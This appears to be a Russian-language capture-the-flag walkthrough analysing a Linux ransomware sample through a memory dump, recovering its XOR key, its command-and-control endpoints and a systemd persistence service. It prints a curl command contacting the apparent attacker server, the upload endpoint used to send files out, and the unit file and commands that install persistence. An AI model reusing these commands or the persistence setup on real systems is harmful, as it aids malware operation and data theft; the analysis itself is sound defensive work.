Видео-версия

Все новые прохождения появляются сначала на канале t.me/kiberdruzhinnik. Подпишись, чтобы не пропускать новые!

Исследование

Распакуем полученные файлы и начнем исследование файла-шифровальщика ubuntu-client.

Посчитаем MD5 хеш-сумму файла:

$ md5sum ubuntu-client
a2444b61b65be96fc2e65924dee8febd  ubuntu-client

Смотрим дамп памяти

Установим Volatility 3, чтобы исследовать дампы памяти.

Проверим, что за ядро используется:

$ python3 vol.py -f ubuntu-client-Snapshot2.vmem banners
Volatility 3 Framework 2.7.1
Progress:  100.00  PDB scanning finished                      
Offset Banner

0x32857fa8 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 (Ubuntu 5.4.0-163.180-generic 5.4.246)
0x600001a0 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 (Ubuntu 5.4.0-163.180-generic 5.4.246)
0x61b9de54 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 (Ubuntu 5.4.0-163.180-generic 5.4.246)

Мы знаем, что это Ubuntu с ядром 5.4.0-163-generic. Заберем нужный профиль с символами с гитхаба https://github.com/Abyss-W4tcher/volatility3-symbols/blob/master/Ubuntu/amd64/5.4.0/163/generic/Ubuntu_5.4.0-163-generic_5.4.0-163.180_amd64.json.xz.

Полученные символы положим в каталог volatility3/symbols/linux.

Теперь можем посмотреть в историю bash команд:

$ python3 vol.py -f ubuntu-client-Snapshot2.vmem linux.bash
Volatility 3 Framework 2.7.1
Progress:  100.00  Stacking attempts finished                 
PID Process CommandTime Command

636 bash 2024-06-03 10:49:04.000000  passwd
636 bash 2024-06-03 10:49:04.000000  apt update
636 bash 2024-06-03 10:49:04.000000  apt install cloud-init cloud-initramfs-growroot openssh-server open-vm-tools
636 bash 2024-06-03 10:49:04.000000  shutdown now
636 bash 2024-06-03 10:49:04.000000  apt upgrade
636 bash 2024-06-03 10:49:09.000000  passwd
636 bash 2024-06-03 10:49:32.000000   ��V
636 bash 2024-06-03 10:49:32.000000  nano /etc/ssh/sshd_config
636 bash 2024-06-03 10:50:23.000000  systemctl start ssh
636 bash 2024-06-03 10:50:30.000000  ip a
636 bash 2024-06-03 10:51:41.000000  nano /etc/ssh/sshd_config
636 bash 2024-06-03 10:53:22.000000  systemctl restart shh
636 bash 2024-06-03 10:53:29.000000  sudo
636 bash 2024-06-03 10:53:29.000000  systemctl restart ssh
636 bash 2024-06-03 11:21:30.000000  ls
636 bash 2024-06-03 15:31:03.000000  sudo apt-get install apache2
636 bash 2024-06-03 15:31:22.000000  sudo apt-get update
636 bash 2024-06-03 15:31:25.000000  sudo apt-get update
636 bash 2024-06-03 15:31:25.000000  sudo apt-get install apache2 --fix-missing
636 bash 2024-06-03 15:31:36.000000  sudo apt-get install apache2 --fix-missing
636 bash 2024-06-03 15:32:05.000000  nano note.txt
636 bash 2024-06-03 15:32:27.000000  ls
636 bash 2024-06-03 15:32:44.000000  ./ubuntu-client xGonnaGiveIt2Ya
636 bash 2024-06-03 15:33:27.000000  sudo apt-get install libssl3-dev
636 bash 2024-06-03 15:34:45.000000  sudo apt-get update
636 bash 2024-06-03 15:35:54.000000  sudo apt-get install libssl-dev
636 bash 2024-06-03 15:36:00.000000  ./ubuntu-client xGonnaGiveIt2Ya
636 bash 2024-06-03 15:36:22.000000  sudo apt-get upgrade -y
636 bash 2024-06-03 15:40:24.000000  ./ubuntu-client xGonnaGiveIt2Ya
636 bash 2024-06-03 15:50:54.000000  ls
636 bash 2024-06-03 15:50:57.000000  rm ubuntu-client 
636 bash 2024-06-03 15:51:02.000000  ��~V
636 bash 2024-06-03 15:51:02.000000   
636 bash 2024-06-03 15:51:02.000000  ip a
22683 bash 2024-06-03 15:51:25.000000  apt update
22683 bash 2024-06-03 15:51:25.000000  passwd
22683 bash 2024-06-03 15:51:25.000000  apt install cloud-init cloud-initramfs-growroot openssh-server open-vm-tools
22683 bash 2024-06-03 15:51:25.000000  chmod +x ubuntu-client 
22683 bash 2024-06-03 15:51:25.000000  shutdown now
22683 bash 2024-06-03 15:51:25.000000  apt upgrade
22683 bash 2024-06-03 15:51:25.000000  mkdir /share
22683 bash 2024-06-03 15:51:25.000000  ./ubuntu-client 
22683 bash 2024-06-03 15:51:25.000000  mdkir /share
22683 bash 2024-06-03 15:51:25.000000  wget http://10.10.0.70:8123/ubuntu-client
22683 bash 2024-06-03 15:51:25.000000  ls
22683 bash 2024-06-03 15:51:25.000000  ls
22683 bash 2024-06-03 15:51:25.000000  wget http://10.10.0.70:8000/ubuntu-client
22683 bash 2024-06-03 15:51:26.000000  ls
22683 bash 2024-06-03 15:51:38.000000  ./ubuntu-client xGonnaGiveIt2Ya
22683 bash 2024-06-03 15:54:24.000000  sudo apt-get install libcjson-dev
22683 bash 2024-06-03 15:54:31.000000  ./ubuntu-client xGonnaGiveIt2Ya

Отсюда находим строку xGonnaGiveIt2Ya, которая используется в качестве входной строки для XOR.

Реверсим бинарник

Для расшифровки ссылки используется полученная выше XOR-строка, метод шифрования простой:

alt text

На Debian 12 нужно установить libssl.so.1.1 для динамического анализа:

wget http://nz2.archive.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2.22_amd64.deb
sudo dpkg -i libssl1.1_1.1.1f-1ubuntu2.22_amd64.deb

В параметры процесса пропишем XOR-ключ:

alt text

Отсюда пытаемся достать ссылку на сервер:

alt text

Так же отсюда достаем параметры для JSON:

alt text

https://plankton-app-3qigq.ondigitalocean.app/connect

Пример такого запроса:

curl --header "Content-Type: application/json" --data '{"passphrase": "sebh24", "hostname": "vm"}' https://plankton-app-3qigq.ondigitalocean.app/connect

alt text

Чтобы проскочить в функцию шифрования, нужно создать каталог /share, а внутри него файл с любым из расширений из списка:

alt text

Я создал /share/test.txt:

sudo mkdir /share
echo test | sudo tee /share/test.txt
sudo chown 1000:1000 -R /share

Загружается файл вот по такому адресу:

alt text

Для ответа нужно вписать endpoint: https://plankton-app-3qigq.ondigitalocean.app/upload/.

Функция создания файлов автозапуска:

alt text

Создается файл /usr/bin/ubuntu-run со своей копией.

alt text

Далее создается файл /etc/systemd/system/ubuntu_running.service с содержимым:

[Unit]
Description=Ubuntu Running
After=network.target
[Service]
ExecStart=/usr/bin/ubuntu-run xGonnaGiveIt2Ya
Restart=always
User=root
[Install]
WantedBy=multi-user.target

alt text

И перезапускается созданный сервис:

systemctl daemon-reload && systemctl enable ubuntu_running.service && systemctl start ubuntu_running.service

Мы можем идентифицировать эту технику как T1037.005 - https://attack.mitre.org/techniques/T1037/005/.